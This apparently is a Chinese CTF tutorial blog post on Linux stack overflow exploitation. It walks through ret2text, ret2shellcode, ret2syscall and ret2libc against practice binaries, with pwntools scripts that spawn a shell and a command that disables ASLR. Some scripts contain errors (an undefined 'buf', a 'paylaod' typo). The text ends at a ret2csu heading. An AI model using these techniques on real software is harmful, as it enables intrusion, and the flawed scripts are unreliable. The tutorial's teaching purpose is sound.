linux-stack-Overflow-1

admin 2022年1月6日01:08:10安全博客 CTF专场评论12 views29385字阅读97分57秒阅读模式

栈介绍

基本栈介绍

栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。

基本栈操作

高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的

函数调用栈

这里再给出另外一张寄存器的图

img

需要注意的是,32 位和 64 位程序有以下简单的区别

  • x86
    • 函数参数函数返回地址的上方
  • x64
    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
    • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

栈溢出原理

介绍

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

基本示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。下面,我们举一个简单的例子:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。

我们利用如下命令对其进行编译

gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example 
stack_example.c: In function ‘vulnerable’:
stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(s);
^
/tmp/ccPU8rRA.o:在函数‘vulnerable’中:
stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.

可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,

历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。

gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie

编译成功后,可以使用 checksec 工具检查编译出的文件:

		checksec stack_example
[*] '/home/ol4three/Desktop/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。

为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。

确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到

int vulnerable()
{
char s; // [esp+4h] [ebp-14h]

gets(&s);
return puts(&s);
}

该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

             +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x08048456。

.text:08048456 success         db 55h
.text:08048457 ; ---------------------------------------------------------------------------
.text:08048457 mov ebp, esp
.text:08048459 push ebx
.text:0804845A sub esp, 4
.text:0804845D call near ptr __x86_get_pc_thunk_ax
.text:08048462 add eax, 1B9Eh
.text:08048467 sub esp, 0Ch
.text:0804846A push 20697421h ; s
.text:0804846F mov ebx, eax
.text:08048471 call _puts
.text:08048476 add esp, 10h
.text:08048479 nop
.text:0804847A mov ebx, [ebp-4]
.text:0804847D leave
.text:0804847E retn
.text:0804847E ; } // starts at 8048456

那么如果我们读取的字符串为

0x14*'a'+'bbbb'+success_addr

那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为

             +-----------------+
| 0x0804843B |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x08048456 在内存中的形式是

\x56\x84\x04\x08

但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x56 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了 (关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:

##coding=utf8
from pwn import *
sh = process('./stack_example')
success_addr = 0x08048456

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)

sh.sendline(payload)
sh.interactive()

执行一波代码,可以得到

python exp.py
[+] Starting local process './stack_example': pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive

可以看到我们确实已经执行 success 函数。

小总结

上面的示例其实也展示了栈溢出中比较重要的几个步骤。

寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入
    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到’\x00’停止
    • strcat,字符串拼接,遇到’\x00’停止
    • bcopy

确定填充长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式

  • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
  • 直接地址索引,就相当于直接给定了地址。

一般来说,我们会有如下的覆盖需求

  • 覆盖函数返回地址,这时候就是直接看 EBP 即可。
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
  • 覆盖 bss 段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容。

之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程

Basic ROP

基本 ROP

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例子

其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。

点击下载: ret2text

首先,查看一下程序的保护机制

$ checksec ret2text
[*] '/home/ol4three/Desktop/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现

.text:080485FD secure          db 55h
.text:080485FE ; ---------------------------------------------------------------------------
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp-0Ch], eax
.text:0804861F lea eax, [ebp-10h]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp-10h]
.text:08048635 cmp eax, [ebp-0Ch]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system

在 secure 函数又发现了存在调用 system(“/bin/sh”) 的代码,那么如果我们直接控制程序返回至 0804863A,那么就可以得到系统的 shell 了。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets

可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下

pwndbg> b *0x080486ae
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
pwndbg> r
Starting program: /home/ol4three/Desktop/ret2text
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 ret2text.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────
EAX 0xffffd4dc —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
EBX 0x0
ECX 0xf7fb2dc7 (_IO_2_1_stdout_+71) ◂— 0xfb38900a
EDX 0xf7fb3890 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x0
ESI 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
EBP 0xffffd548 ◂— 0x0
ESP 0xffffd4c0 —▸ 0xffffd4dc —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
EIP 0x80486ae (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8
──────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────

可以看到 esp 为 0xffffd4c0,ebp 为 0xffffd548,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断

  • s 的地址为 0xffffd4dc
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4

最后的 payload 如下:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

例子

这里我们以 bamboofox 中的 ret2shellcode 为例

点击下载: ret2shellcode

首先检测程序开启的保护

╰─$ checksec ret2shellcode
[*] '/Users/oldthree/Downloads/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。

pwndbg> b *main
Breakpoint 1 at 0x804852d: file ret2shellcode.c, line 7.
pwndbg> r
Starting program: /home/ol4three/Desktop/ret2shellcode

Breakpoint 1, main () at ret2shellcode.c:7
7 ret2shellcode.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────
EAX 0xf7fb3dd8 (environ) —▸ 0xffffd5dc —▸ 0xffffd73f ◂— 'LANG=en_US.UTF-8'
EBX 0x0
ECX 0xec9ad2b
EDX 0xffffd564 ◂— 0x0
EDI 0x0
ESI 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
EBP 0x0
ESP 0xffffd53c —▸ 0xf7df2f21 (__libc_start_main+241) ◂— add esp, 0x10
EIP 0x804852d (main) ◂— push ebp
──────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
► 0x804852d <main> push ebp
0x804852e <main+1> mov ebp, esp
0x8048530 <main+3> and esp, 0xfffffff0
0x8048533 <main+6> add esp, -0x80
0x8048536 <main+9> mov eax, dword ptr [[email protected]@GLIBC_2.0] <0x804a060>
0x804853b <main+14> mov dword ptr [esp + 0xc], 0
0x8048543 <main+22> mov dword ptr [esp + 8], 2
0x804854b <main+30> mov dword ptr [esp + 4], 0
0x8048553 <main+38> mov dword ptr [esp], eax
0x8048556 <main+41> call [email protected] <[email protected]>

0x804855b <main+46> mov eax, dword ptr [[email protected]@GLIBC_2.0] <0x804a040>
───────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd53c —▸ 0xf7df2f21 (__libc_start_main+241) ◂— add esp, 0x10
01:0004│ 0xffffd540 ◂— 0x1
02:0008│ 0xffffd544 —▸ 0xffffd5d4 —▸ 0xffffd71a ◂— '/home/ol4three/Desktop/ret2shellcode'
03:000c│ 0xffffd548 —▸ 0xffffd5dc —▸ 0xffffd73f ◂— 'LANG=en_US.UTF-8'
04:0010│ 0xffffd54c —▸ 0xffffd564 ◂— 0x0
05:0014│ 0xffffd550 ◂— 0x1
06:0018│ 0xffffd554 ◂— 0x0
07:001c│ 0xffffd558 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
─────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────
► f 0 804852d main
f 1 f7df2f21 __libc_start_main+241
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/ol4three/Desktop/ret2shellcode
0x8049000 0x804a000 r-xp 1000 0 /home/ol4three/Desktop/ret2shellcode
0x804a000 0x804b000 rwxp 1000 1000 /home/ol4three/Desktop/ret2shellcode
0xf7dda000 0xf7faf000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb0000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb0000 0xf7fb2000 r-xp 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb3000 rwxp 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb6000 rwxp 3000 0
0xf7fd0000 0xf7fd2000 rwxp 2000 0
0xf7fd2000 0xf7fd5000 r--p 3000 0 [vvar]
0xf7fd5000 0xf7fd6000 r-xp 1000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
pwndbg>

通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限

0x804a000  0x804b000 rwxp     1000 1000   /home/ol4three/Desktop/ret2shellcode

那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。

具体的 payload 如下

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

题目

  • sniperoj-pwn100-shellcode-x86-64

ret2syscall

原理

ret2syscall,即控制程序执行系统调用,获取 shell。

例子

这里我们以 bamboofox 中的 ret2syscall 为例

点击下载: ret2syscall

首先检测程序开启的保护

$ checksec ret2syscall
[*] '/home/ol4three/Desktop/ret2syscall'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。

image-20201223161605795

此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识,请参考

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets

$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。

类似的,我们可以得到控制其它寄存器的 gadgets

$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里,选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

此外,我们需要获得 /bin/sh 字符串对应的地址。

$ ROPgadget --binary ret2syscall  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

$ ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

同时,也找到对应的地址了。

下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
bin_sh = 0x080be408

payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

例子1

这里我们以 bamboofox 中 ret2libc1 为例

点击下载: ret2libc1

首先,我们可以检查一下程序的安全保护

$ checksec ret2libc1
[*] '/home/ol4three/Desktop/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在

$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

那么我们直接返回该处,执行system函数。payload如下

from pwn import *

sh = process('./ret2libc1')

bin_bash = 0x08048720
system_addr = 0x08048460

payload = flat(['A' *112, system_addr, 'bbbb' , bin_bash])
sh.sendline(payload)
sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。

这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。

例子2

点击下载: ret2libc2

该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)。

.plt:08048490 _system
.plt:08048460 _gets
.bss:0804A080 buf2
0x0804843d : pop ebx ; ret

payload1 堆栈平衡(在调用完gets之后要把调用的参数给pop出来,提升栈堆(保持esp和ebp的值不变)再对system进行调用)如下:

from pwn import *
sh = process('./ret2libc2')
system_addr = 0x08048490
gets_addr = 0x08048460
buf2_addr = 0x0804A080
pop_ebx_addr = 0x0804843d
payload = flat(['A' * 112 ,gets_addr, pop_ebx_addr, buf2_addr, system_addr , 'aaaa' , buf])
sh.sendline(paylaod)
sh.sendline('/bin/bash')
sh.interactive()

payload2 :

image-20201227101548054

from pwn import *
sh = process('./ret2libc2')
system_addr = 0x08048490
gets_addr = 0x08048460
buf2_addr = 0x0804A080
pop_ebx_addr = 0x0804843d
payload = flat(['A' * 112 ,gets_addr, system_addr, buf2_addr, buf2_addr])
sh.sendline(paylaod)
sh.sendline('/bin/bash')
sh.interactive()

例子3

点击下载: ret2libc3

在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护

[*] '/home/ol4three/Desktop/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

手动寻找:

https://libc.blukat.me/

$ ./find __libc_start_main d90
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_i386.deb (id libc6_2.27-3ubuntu1_i386)
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6-i386_2.27-3ubuntu1_amd64.deb (id libc6-i386_2.27-3ubuntu1_amd64)

$ ./dump libc6-i386_2.27-3ubuntu1_amd64
offset___libc_start_main_ret = 0x18e81
offset_system = 0x0003cd10
offset_dup2 = 0x000e6110
offset_read = 0x000e5620
offset_write = 0x000e56f0
offset_str_bin_sh = 0x17b8cf

exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

题目

  • train.cs.nctu.edu.tw: ret2libc

  • train.cs.nctu.edu.tw: rop

  • 2013-PlaidCTF-ropasaurusrex

  • Defcon 2015 Qualifier: R0Pbaby

Intermediate ROP

中级 ROP 主要是使用了一些比较巧妙的 Gadgets。

ret2csu

原理

